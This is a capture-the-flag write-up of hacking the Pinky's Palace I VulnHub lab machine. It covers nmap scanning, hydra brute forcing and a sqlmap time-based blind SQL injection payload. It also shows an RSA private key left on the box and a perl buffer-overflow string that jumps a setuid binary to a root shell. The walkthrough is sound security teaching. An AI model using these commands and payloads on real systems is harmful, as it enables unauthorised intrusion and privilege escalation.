EN: Hacking VulnHub Machine - Pinky's Palace I

20 minute read Published:

But we are Poles and we are not afraid of dictionary attacks
A funny quote from the Internet

0x00 Gooood moooornnnnin’ Internetnam!

After a looooong time, I’ve finally managed to spend some time on writing. There is more to go, but for now - let’s dive into VulnHub VM - our target today is a well known Pinky’s Palace I by Pink_Panther.

By the way I also recommend his OSCP failing post, that shows why failing is not the end of the world, but the beginning of the journey!

0x01 Starting point

To do this challenge I needed to download the image (it’s an *.ova file - this is a single file distribution of Open Virtualization Format and it’s supported by Virtualbox - it just needs importing). After successful import simply start the VM (what’s important, network configuration will be imported too, this enables interaction with the guest machine).

It’s boot time!

booting img

While waiting on VM to start, I’ve started reading description. It says that:

A realistic Boot2Root box. Gain access to the system and read the root.txt.

Ok, so our job is to pwn this system and read some file called root.txt. It will be probably some file that belongs to root user, so perhaps I will need to do some kind of PrivEsc with cron or sticky bit - ref.

I’m just guessing now since I’m writing this post during pwning.

important info

Machine is now up&runnin’ so let’s look what we’ve got here. It’s just a tty1 login prompt. I don’t know nither the password nor the login, so probably there is no need to login here. Login prompt provides alse an information about IP address (which is 192.168.88.242 in this case), and target - the file /root/root.txt.

0x02 Let the pentest begin!

The target machine is visible in internal Virtualbox network. This will be the way to get in. I could probably cheat and just try to mount this VM’s drive with another distro and try printing the flag - but it’s not the case here. I will not cheat (as long as I don’t have to) here.

First things first. Of course now the IP address of that VM is known by login prompt, but in case there is no such info provided, one can use netdiscover tool or nmap to find the right host in the network. I will skip this part.

0x02.00 Recon - !ASAP scanning

If you work in some kind of corporation environment (with open space and another goodies, the term ASAP will make you panic, but stay calm! I mean not As Stealthy As Possible - this will be clarified in this paragraph).

The most famous scanning tool is nmap “the scanner”. Let’s use it to figure out which ports are in use, fingerprint the target OS and check for known services running. I will use -T5 switch which will make nmap to scan aggressively. Why is that? It’s unlikely to have IDS in this challenge and blue-team on the other side of the monitor that is hunting for attackers. So it will make scan faster by limiting scan’s delays. You can read about this feature here

Syn-scan mode with -sV option enabled returned that there are 3 ports in use. This is the most important part of this scan:

PORT      STATE SERVICE    VERSION
8080/tcp  open  http       nginx 1.10.3
31337/tcp open  http-proxy Squid http proxy 3.5.23
64666/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So we have some GNU/Linux OS running on that machine with nginx 1.10.3 onboard on port 8080, a Squid http proxy on 31337 port and a ssh service running on unusual port 64666. Banners were enabled so the nmap was able to provide info about version.

On pentests I like to run vulners NSE script for nmap. I did that here, the log looks like:

nmap -sV --script vulners -p 8080,31337,64666 192.168.88.242
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-23 23:57 CEST
Nmap scan report for 192.168.88.242
Host is up (0.018s latency).

PORT      STATE SERVICE    VERSION
8080/tcp  open  http       nginx 1.10.3
|_http-server-header: nginx/1.10.3
31337/tcp open  http-proxy Squid http proxy 3.5.23
|_http-server-header: squid/3.5.23
| vulners: 
|   cpe:/a:squid-cache๐Ÿฆ‘3.5.23: 
|   CVE-2018-1000027        5.0     https://vulners.com/cve/CVE-2018-1000027
|_  CVE-2018-1000024        5.0     https://vulners.com/cve/CVE-2018-1000024
64666/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:7.4p1: 
|_  CVE-2017-15906      5.0     https://vulners.com/cve/CVE-2017-15906
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds

It’s just shopping around for low hanging fruits. Obtaining the shell is just the first step. But in this case there is nothing so interesting to look at. So let’s try that webservice on port 8080.

0x02.01 Smashing the server with HEAD/GET requests - dirbusting time!
403 Forbidden
______________
nginx/1.10.3

Well, nothing to see here? Let’s try to guess some directories. I will use my favourite tool for that - gobuster, it’s something like dirbuster but written in Go. It’s fast and has nice CLI. I’m using standard dirbuster dictionary - medium here.

foxtrotc@raptor:somewhere/gobuster$ go run main.go -w ../dirbuster-ng/wordlists/directory-list-2.3-medium.txt  -fw -o pinkyspalace -u http://192.168.88.242:8080 -k -t 150 -s 200,204,302,307


Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://192.168.88.242:8080/
[+] Threads      : 150
[+] Wordlist     : ../dirbuster-ng/wordlists/directory-list-2.3-medium.txt
[+] Output file  : pinkyspalace
[+] Status codes : 200,204,302,307
=====================================================

If you don’t get all of these parameters, just look at repository.

The greatest disadvantage of this tool is lack of a progressbar. I hate waiting… Well, I’m trying to add this feature to gobuster so I hope there will be a PR soon.

While I’m waiting and my computer is smashing that VM with a great amount of requests, there is the time to take a look at this Squid Proxy. It’s a multiplatform proxy, really popular on Linux boxes. It can optimise web surfing or help bypass access restrictions. My first thought was to try visiting :8080 port (http server) via this proxy.

To do this I’ve set up FoxyProxy plugin on FF. Unfortunately, this plugin have changed on past few years. If you have better alternative for fast proxy switching tool for normal Firefox - please let me know on twitter.

Redirecting traffic via proxy and pointing browser to 192.168.88.242:8080 gave me, well… 403 Forbidden. I’ve corrected my mistake and going to the address without specified port gave me an error page.

error page

ERROR
The requested URL could not be retrieved
[...]
The system returned: (111) Connection refused
[...]
Generated Mon, 23 Jul 2018 22:25:07 GMT by pinkys-palace (squid/3.5.23)

So this http proxy was created to enable access to the webserver. On apache server this can be done by .htaccess, and here on nginx - via global configuration. Neat, but too obvious :P don’t do this at home kids!

Dirbusting gave me nothing. After adding -p switch with proxy settings - still nothing. That made me really confused. Ok, let’s try another way!

At this point I’ve started reading things on vulners.com that were provided by my nmap scan. But that was also the dead end.

On that website, there was also a link, to send automatic email about hackup to the administrator. First of all I thought that this is some kind of CSRF - a long link with URL-encoded data… But checking it out showed this:

CacheHost: pinkys-palace
ErrPage: ERR_CONNECT_FAIL
Err: (111) Connection refused
TimeStamp: Mon, 23 Jul 2018 22:25:07 GMT

ClientIP: 192.168.88.244
ServerIP: 192.168.88.242

HTTP Request:
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: 192.168.88.242 

This is a standard GET request that caused a failure. At the first glance, I haven’t found anything special about it, but one thing was particularly interesting. This line:

CacheHost: pinkys-palace

Combined with the footer of earlier error message:

Generated Mon, 23 Jul 2018 22:25:07 GMT by pinkys-palace (squid/3.5.23)

Got me into thinking about resolving hosts… And tadam! By an accident I’ve found the way to access that website. Just swap the IP address with the term pinkys-palace, and done! Or… ok, not done, but yet another step in some direction.

cute website

Ok, so this is the cutest website I’ve ever seen in a lovely color. But still, this means nothing. Redirecting the browser to /login page gave the 404. So this is yet another try of using dirbuster. This time on pinkys-palace:8080. Fingers crossed!

foxtrotc@raptor:~/gobuster$ go run main.go -w ../dirbuster-ng/wordlists/directory-list-2.3-medium.txt  -fw -u http://pinkys-palace:8080 -k -t 250 -s 200,204,302,307,301 --p http://192.168.88.242:31337  

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://pinkys-palace:8080/
[+] Threads      : 250
[+] Wordlist     : ../dirbuster-ng/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 204,302,307,200,301
[+] Proxy        : http://192.168.88.242:31337
=====================================================

This is another long run for gobuster. But this time - BINGO!. Using the phrase littlesecrets-main, the gobuster found a redirection (HTTP 301).

=====================================================
Found : /littlesecrets-main (Status: 301)
=====================================================

This time going to that address gives the login page!

login page

To be honest - I will never guess this by hand. But it’s good to have directory-list-2.3-medium.txt dictionary. BTW, I’ve grepped this file for line number - the solution for this website is placed pretty far:

foxtrotc@raptor:dirbuster-ng/wordlists$ grep -nr littlesecrets directory-list-2.3-medium.txt 
75769:littlesecrets
83074:littlesecrets-password
83084:littlesecrets-main

Ok, so this is yet another foothold in hacking this machine. Let’s note it down and move to the last part of recon - secure shell.

0x02.03 How about SSH?

First of all, the banner says SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u2. As vulners script for the scan showed, there is a vuln for that, but as description says:

The process_open function in sftp-server.c in OpenSSH before 7.6 does not properly prevent write operations in readonly mode, which allows attackers to create zero-length files.

It’s not as valuable as it could be and in my opinion, that’s not the case here. It doesn’t enable a way to gain access to that box. BTW, I like this website, because it has a nice and clear table with what privileges are required and what can be done by exploitation.

So at this point, there is nothing obvious left to do - it’s the time for HACKING!!! (in case the next phase will not end with success I will iteratively loop over deeper recon - exploitation)

0x03 Exploitation

Here comes the tricky part. With the intel provided it’s time to obtain the shell on that machine. Let’s start with some webapp pentesting. It’s time to fire up Burp proxy. To start using it with the host proxy, I had to go to User options -> then setup the Upstream Proxy Server as follows:

burp proxy

That’s all. Now Burp will direct all requests made by browser and forwarded in Proxy via 192.168.88.242.

0x03.00 [BLIND] SQLi

Login pages are good places for SQLi. Trying the most popular

" or ""="

failed and login.php script returned Incorrect Username or Password, but I’ve also captured the POST request:

POST http://pinkys-palace:8080/littlesecrets-main/login.php HTTP/1.1
Host: pinkys-palace:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://pinkys-palace:8080/littlesecrets-main/
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Connection: close
Upgrade-Insecure-Requests: 1



user=asdf&pass=asdf

Now I can try some bruteforce to gain access to this website. My tool of choice is hydra. The command used to start the attack looks like this:

hydra pinkys-palace -l admin -P ./wordlist/rockyou.txt http-post-form "/littlesecrets-main/login.php:user=^USER^&pass=^PASS^:Incorrect Username or Password" -I -t 50 -s 8080

But to get that working, the proxy must be set up. It can be done by exporting local variable.

export HYDRA_PROXY_HTTP=http://192.168.88.242:31337

THC Hydra can also use the sock4/sock5 proxies (specified by HYDRA_PROXY=socksX env variable). The cracking speed is swift, so I’ve wanted to try another ideas before hammering with Hydra finishes.

Meanwhile I was looking around for sqlmap my Hydra killed the host - well, that can happen sometimes. It looks like that my bruteforce turned into DOS. ๐Ÿ˜ฌ

[STATUS] 2815.00 tries/min, 8445 tries in 00:13h, 35953 to do in 0:33h, 64 active
[ERROR] Child with pid 13083 terminating, cannot connect
[ERROR] Child with pid 13056 terminating, cannot connect
[ERROR] Child with pid 13099 terminating, cannot connect
[...]

I’ve decided to restart the target machine and run sqlmap only. The command looks like this:

foxtrotc@raptor:~ $ sqlmap --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url http://pinkys-palace:8080/littlesecrets-main/login.php --level=5 --risk=3 --dump-all --proxy=http://192.168.88.242:31337

Of course the proxy setting is set.

At first it doesn’t look promising:

[20:34:30] [WARNING] POST parameter 'user' does not seem to be injectable
[20:34:30] [INFO] testing if POST parameter 'pass' is dynamic
[20:34:30] [WARNING] POST parameter 'pass' does not appear to be dynamic
[20:34:30] [WARNING] heuristic (basic) test shows that POST parameter 'pass' might not be injectable

But after quite a long time it looks like we have something:

User-Agent parameter 'User-Agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 64508 HTTP(s) requests:
---
Parameter: User-Agent (User-Agent)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: sqlmap/1.2.7#pip (http://sqlmap.org)'||(SELECT 'PGhK' FROM DUAL WHERE 4975=4975 AND SLEEP(5))||'
---

Watching the data being determined (I mean tables in database, logins) by sqlmap in timing attack is pretty satisfying. I would suggest to do not run any other automated tools during blind sqli attack - it may cause disruptions and false positives by overloading the network.

[...]
[23:02:47] [WARNING] unable to retrieve the number of entries for table 'logs' in database 'pinky_sec_db'
[23:02:47] [INFO] fetching columns for table 'users' in database 'pinky_sec_db'
[23:02:47] [INFO] retrieved: 3
[23:02:51] [INFO] retrieved: uid
[23:03:01] [INFO] retrieved: user
[23:03:14] [INFO] retrieved: pass
[23:03:29] [INFO] fetching entries for table 'users' in database 'pinky_sec_db'
[23:03:29] [INFO] fetching number of entries for table 'users' in database 'pinky_sec_db'
[23:03:29] [INFO] retrieved: 2
[23:03:31] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
pinky
[23:03:51] [INFO] retrieved: f543dbfeaf238729831a321c7a68bee4
[23:05:35] [INFO] retrieved: 1
[23:05:37] [INFO] retrieved: pinkymanage
[23:06:11] [INFO] retrieved: d60dffed7cc0d87e1f4a11aa06ca73af
[23:07:58] [INFO] retrieved: 2
[23:08:01] [INFO] recognized possible password hashes in column 'pass'
[...]

After some time (rather long than short, be patient!) here is the result:

+-----+----------------------------------+-------------+
| uid | pass                             | user        |
+-----+----------------------------------+-------------+
| 1   | f543dbfeaf238729831a321c7a68bee4 | pinky       |
| 2   | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage |
+-----+----------------------------------+-------------+

Blind SQL injection attack determined two users and passwords. I guess that these are hashes (it looks like MD5), but just to be sure I’ve tried them without cracking - no luck.

There are many ways of cracking MD5. I prefer to look them up in Google or just any online service that stores strings and corresponding hashes. Due the reason this is the challenge task, by pinky’s hash I’ve encountered links to writeups. It’s not a good idea to cheat and look for answers, so I’ve decided to search for the second hash. If it had failed - I would have set up my GPU rig with hashcat and few giant dicts + some rules.

crackstation

Bingo! The hash was reversed on crackstation, the password was 3pinkysaf33pinkysaf3. Too bad for me, it doesn’t work with punkys-palace website #sadface.

challenge_login

response_login

0x03.01 Obtaining the shell

Since it’s the challenge (yup, pentest are usually slightly different), I’ve tried to login to the ssh using credentials for pinkymanage user.

This was easy! Let’s try printing /root/root.txt:

pinkymanage@pinkys-palace:~$ cat /root/root.txt
cat: /root/root.txt: Permission denied

So the challenge is not done yet! It’s time for some priviliage escalation fun!

0x03.02 PrivEsc [PWN THAT BOX!]
pinkymanage@pinkys-palace:~$ sudo whoami 
[sudo] password for pinkymanage: 
pinkymanage is not in the sudoers file.  This incident will be reported.

Well, it looks like that user pinkymanage is not a sudoer.

pinkymanage@pinkys-palace:/var/www/pinkymanage/.ssh$ cat known_hosts 
 |1|ddPO6l4PJ+hR883AkBxnqZwLqV0=|Dc3nHxLXil9FeR5kQ5KCU0+Ziug= ecdsa-sha2-nistp256
 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDZDIHslZJXVJH6dCHGaJRVy8WUL
 ZGgoqkKe8gfp/jibTQiMe8lIE8zFX2S8aXxWo4kSBd6i94zKj4YR2TcFj2o=
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ 
>cat note.txt 
Hmm just in case I get locked out of my server I put this rsa key here.. 
Nobody will find it heh..

That’s a hint. ls -la shows .dotfile, which is called ultrasecret.

The .ultrasecret file is a base64-encoded RSA key.

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA16fxL3/+h/ILTZewkvekhIQ1yk0oLI+y3N4AItkhez11Iha8
Hc7KOx/L9g2jd3H8dGPUfKKr9seqtg97ZKA95S/sb4w3Qtl1ABu/pVKZBbGGsHG/
yIvGEPKS+BSZ4stMW7Hnx7ciMuhwcZwLqZmsySumECTueQswNPblITlrqolpYF8x
e47El9pHwewNWcIrmqraxCH5TC7UhjgGaQwmW3qHyrSqp/jK/ctb1ZpnPv+DC833
u/Tyjm6z8RaDZG/gRBIrMGnNbg4pZFhtgbGVOf7feGvBFR8BiT+7VFfO7yEvyBx9
gxrySxu2Z0aOM8QR6MGaDMjYUnB9aTYuw8GP4wIDAQABAoIBAA6iH7SIa94Pp4Kx
W1LtqOUxD3FVwPcdHRbtnXa/4wy4w9z3S/Z91K0kYDOnA0OUoXvIVl/Krf6F1+iY
rlfKo8iMcu+yxQEtPkoul9eA/k8rl6cbYNcb3OnDfAOHalXAU8MZFFAx9gkcSpz6
6LOucNIJuy/3QZNHFhNR+YRCoDKnFnEILxYL5Wz2qptWMYDuwtmGzO968YbLrOV1
okWN6gMiEi5qprBh5a8wBRQVaBrLYWg8WeXfWfkGzKoxKPFKzhI5j4/EkxLDJqt3
LA7JRxmFn77/mbvaDW8WZX0fOcS8ugyRBEN0VpdnF6kl6tfOXKGj0gd+gAiw0TVR
2CB7PsECgYEA8IW3ZsKtbCkRBtF+VTBq4K46s7ShW9AZ6+bpb+d1NRT5xRJG+Dsz
F3cg4N+39nYg8mFwsBhn/szgVBNWZouWrRNrDExH0yu6HOJ7zLWQayUhQJiIPxpc
n/Eed6SrcySfzgmntOib4hyGjF0/wntjMc73xuAVNuO8A6WW+hgVHKECgYEA5YiW
K2vbVNBqEBCP+xrC5dHOBIEWv89BFIm/Fs/esh8uE5Lnj11eP+1EZh2FK92Qx9Yv
y1bMsAkf+ptFUJLck1M20efAaSvOhr5uajnyqCofsSUfKZaa7nPQozepqMKXGMoy
MEEeLOw56sJhSp0UdXyaz9FQAmvzSXUnuo1t+gMCgYEAubx42WkCpSC9XkeOyFhg
YGsLN9UIOi9kpRAnOlxB3aD6FF494dlNZhR/lkgM9s1YOfRXIhVm0ZQCs8pPEVdA
Hx18r/2EBaWhzkZzlayr/qGooQppRFmmJ3j6ryfBomQo5+H62TA7mIuwt1oXL6c6
/a63FqPang2VFjfcc/r+6qECgYA+AzrfHFKzhWNCV9cudjp1sMtCOEYXKD1i+Rwh
Y6O85+Og8i2RdB5EkyvJkuwpv8Cf3OQowZinbq+vG0gMzsC9JNxItZ4sS+OOT+Cw
3lsKx+asC2Vx7PiKt8uEbUNvDrOXxPjuRImMhX3YSQ/UAsBGRZXl050UKmoeTIKh
ShiOVQKBgQDsS41imCxW2me541vtwAaIpQ5lo5OVzD2A9teEPsU6F2h6X7pWR6IX
A9rpLWmbfxGgJ0MVhxCjpeYgSC8UsdMzNa2ApcwOWQekNE4eLtO7Zv2SVDr6cIrc
HccEP+MGM2eUfBPnkaPkbCPr7tnqPf8eJqiQUkWVh2CnYzeAHr5OmA==
-----END RSA PRIVATE KEY-----

Having that file saved in pinky.rsa file there was nothing more to do than try to connect as pinky user.

foxtrotc@raptor:~ $ ssh pinky@192.168.88.242 -i pinky.rsa -p 64666

Ok, I’m in.

pinky@pinkys-palace:~$ ls
adminhelper  note.txt

These two files are available on that account in ~ directory. The note says:

Been working on this program to help me when I need to do administrator tasks sudo is just too hard to configure and I can never remember my root password! Sadly I'm fairly new to C so I was working on my printing skills because Im not sure how to implement shell spawning yet :(

Let’s look what this utility does:

pinky@pinkys-palace:~$ ./adminhelper whoami
whoami
pinky@pinkys-palace:~$ ./adminhelper AAAAAA[...]AAAAAAAAAAAAAAAa
AAAA[...]AAAAAAAAa
Segmentation fault

Ou! That’s interesting!

Let’s see what can be achieved by exploiting this buffer overflow:

pinky@pinkys-palace:~$ ls -la
total 44
drwx------ 3 pinky pinky 4096 Jul 24 18:10 .
drwxr-xr-x 4 root  root  4096 Feb  2 03:59 ..
-rwsr-xr-x 1 root  root  8880 Feb  2 02:03 adminhelper

Ok, so it seems that this adminhelper is using sticky bit (#toldyouso). If I’m able to axploit this vuln and spawn the shell or cat flag file - the challenge will be done!

0x03.03 Shell via the binary - buffer overflow

Providing a long string that causes segmentation fault may be the indicator of the potentially exploitable buffer overflow error. I’ve downloaded this binary from the remote VM to my local hacking machine to investigate the problem in radare2.

foxtrotc@raptor:~ $ scp -P 64666 -i pinky.rsa pinky@192.168.88.242:/home/pinky/adminhelper .

What’s more, the ASLR was disabled on target system:

pinky@pinkys-palace:~$ cat /proc/sys/kernel/randomize_va_space
0

And the NX bit on this binary (also stack canary) are disabled:

canary   false
[..]
nx       false

That will make pwning this program much much easier.

Sidenote: During pentest engagement I would use some exploit suggester since it’s automated and easy thing to do in the background. I could download and use it, but I want to solve Pinkys Palace I the way it was designed to pwn - the privileges escalation is trivial here, no need to shoot this VM with GROM - the Polish SAM missile ;).

Investigating adminhelper with radare2 shows some interesting functions in use. For example strcpy which may lead to buffer overflow error.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[0x000006a0]> afl
[...]
0x00000640    1 6            sym.imp.strcpy
0x00000650    1 6            sym.imp.puts
0x00000660    1 6            sym.imp.execve
0x00000670    1 6            sym.imp.setegid
0x00000680    1 6            sym.imp.seteuid
[...]
0x000007d0    1 67           sym.spawn
0x00000813    3 66           sym.main

The graph view of main function looks like this:

[0x00000813]> VV @ sym.main (nodes 3 edges 3 zoom 100%) 

BB-NORM mouse:canvas-y mov-speed:5
โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚  0x813                                   โ”‚
โ”‚ ;-- main:                                โ”‚
โ”‚ (fcn) sym.main 66                        โ”‚
โ”‚   sym.main (char **arg1, char **arg2);   โ”‚
โ”‚ ; var char **src @ rbp-0x50              โ”‚
โ”‚ ; var unsigned int local_44h @ rbp-0x44  โ”‚
โ”‚ ; var char *dest @ rbp-0x40              โ”‚
โ”‚ ; STRING XREF from 0x000006bd (entry0)   โ”‚
โ”‚ push rbp                                 โ”‚
โ”‚ rbp = rsp                                โ”‚
โ”‚ ; 'P'                                    โ”‚
โ”‚ rsp -= 0x50                              โ”‚
โ”‚ ; arg1                                   โ”‚
โ”‚ dword [local_44h] = edi                  โ”‚
โ”‚ ; arg2                                   โ”‚
โ”‚ qword [src] = rsi                        โ”‚
โ”‚ ; [0x2:4]=0x102464c                      โ”‚
โ”‚ var = dword [local_44h] - 2              โ”‚
โ”‚ if (var) goto 0x84e;[ga]                 โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ
        โ”‚ โ”‚
        โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
     โ•ญโ”€โ”€โ•ฏ                      โ”‚
     โ”‚                         โ”‚
     โ”‚                         โ”‚
 โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ   โ”‚
 โ”‚  0x828                  โ”‚   โ”‚
 โ”‚ rax = qword [src]       โ”‚   โ”‚
 โ”‚ rax += 8                โ”‚   โ”‚
 โ”‚ rdx = qword [rax]       โ”‚   โ”‚
 โ”‚ rax = [dest]            โ”‚   โ”‚
 โ”‚ ; const char *src       โ”‚   โ”‚
 โ”‚ rsi = rdx               โ”‚   โ”‚
 โ”‚ ; char *dest            โ”‚   โ”‚
 โ”‚ rdi = rax               โ”‚   โ”‚
 โ”‚ sym.imp.strcpy ();[gb]  โ”‚   โ”‚
 โ”‚ rax = [dest]            โ”‚   โ”‚
 โ”‚ ; const char *s         โ”‚   โ”‚
 โ”‚ rdi = rax               โ”‚   โ”‚
 โ”‚ sym.imp.puts ();[gc]    โ”‚   โ”‚
 โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ   โ”‚
     โ”‚                         โ”‚
     โ•ฐโ”€โ•ฎ โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ
       โ”‚ โ”‚
       โ”‚ โ”‚
 โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
 โ”‚  0x84e                                 โ”‚
 โ”‚ ; CODE XREF from 0x00000826 (sym.main) โ”‚
 โ”‚ eax = 0                                โ”‚
 โ”‚                                        โ”‚
 โ”‚ return 0                               โ”‚
 โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

This short function decompiled by awesome plugin - r2dec looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[0x000006a0]> pdd @ sym.main 
#include <string.h>
#include <stdio.h>
int64_t main () {
    /* arg1 */
    *(local_44h) = edi;
    /* arg2 */
    *(src) = rsi;
    if (*(local_44h) == 2) {
        rax = *(src);
        rax += 8;
        /* crtstuff.c */
        rdx = *(rax);
        rax = dest;
        /* const char *src */
        rsi = rdx;
        /* char *dest */
        rdi = rax;
        strcpy (rdi, rsi);
        rax = dest;
        /* const char *s */
        rdi = rax;
        puts (rdi);
    }
    eax = 0;
    return rax;
}

If you are interested in r2dec plugin, I would recommend pretty clear introduction by Paweล‚ ลukasik from here

There is also another function, that is worth mentioning. As author note said, this program is designed to spawn the shell, let’s look at the sym.spawn function in r2:

[0x000007d0]> VV @ sym.spawn (nodes 1 edges 0 zoom 100%) 

BB-NORM mouse:canvas-y mov-speed:5
โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚  0x7d0                        โ”‚
โ”‚ (fcn) sym.spawn 67            โ”‚
โ”‚   sym.spawn ();               โ”‚
โ”‚ ; var int local_8h @ rbp-0x8  โ”‚
โ”‚ ; var int local_4h @ rbp-0x4  โ”‚
โ”‚ push rbp                      โ”‚
โ”‚ rbp = rsp                     โ”‚
โ”‚ rsp -= 0x10                   โ”‚
โ”‚ dword [local_4h] = 0          โ”‚
โ”‚ dword [local_8h] = 0          โ”‚
โ”‚ eax = dword [local_4h]        โ”‚
โ”‚ edi = eax                     โ”‚
โ”‚ sym.imp.seteuid ();[ga]       โ”‚
โ”‚ eax = dword [local_8h]        โ”‚
โ”‚ edi = eax                     โ”‚
โ”‚ sym.imp.setegid ();[gb]       โ”‚
โ”‚ edx = 0                       โ”‚
โ”‚ esi = 0                       โ”‚
โ”‚ ; 0x8e4                       โ”‚
โ”‚ ; "/bin/sh"                   โ”‚
โ”‚ rdi = str.bin_sh              โ”‚
โ”‚ sym.imp.execve ();[gc]        โ”‚
โ”‚                               โ”‚
โ”‚ leave                         โ”‚
โ”‚ return                        โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

And C version:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
[0x000006a0]> pdd @ sym.spawn 
int32_t spawn () {
    *(local_4h) = 0;
    *(local_8h) = 0;
    eax = *(local_4h);
    edi = eax;
    seteuid (edi);
    eax = *(local_8h);
    edi = eax;
    setegid (edi);
    edx = 0;
    esi = 0;
    execve ("/bin/sh", esi, edx);
    return eax;
}

That’s cute.

It’s time to exploit this vuln by simply pointing RIP to the sym.spawn function. To do this, I’ve tried to determine the length of overflowing buffer. It can be done by De Bruijn Patterns and ragg2.

Or this way:

or this way

source

This time without ragg2:

Starting program: /home/pinky/adminhelper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBCCCC
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBCCCC

Program received signal SIGSEGV, Segmentation fault.
0x0000434343434242 in ?? ()

Look at the RIP register. It’s time to craft the “exploit”. I’m not a perl guy, but it’s the language that was used in “The Art of Exploitation” by John Erickson, and I will use it here :)

So input string is the length of 78. The address of target function is 0x00005555555547d0,I need 72 chars of random padding and the 6 bytes of address in little endian \xd0\x47\x55\x55\x55\x55. Now it’s time to combine the padding with the address of that function and we are done! (well, probably)

The exploitation string looks like this:

perl -e 'print "A"x72 . "\xd0\x47\x55\x55\x55\x55"'

The padding will overflow the buffer and 0x00005555555547d0 will become the return address of strcpy that will be placed in instruction pointer when program will try to return from function. Then the execution will continue at this new, injected address which is the place in memory where shell spawning function is placed.

And after running the adminhelper with perl’s output the machine is compromised!

pinky@pinkys-palace:~$ ./adminhelper `cat file.txt`
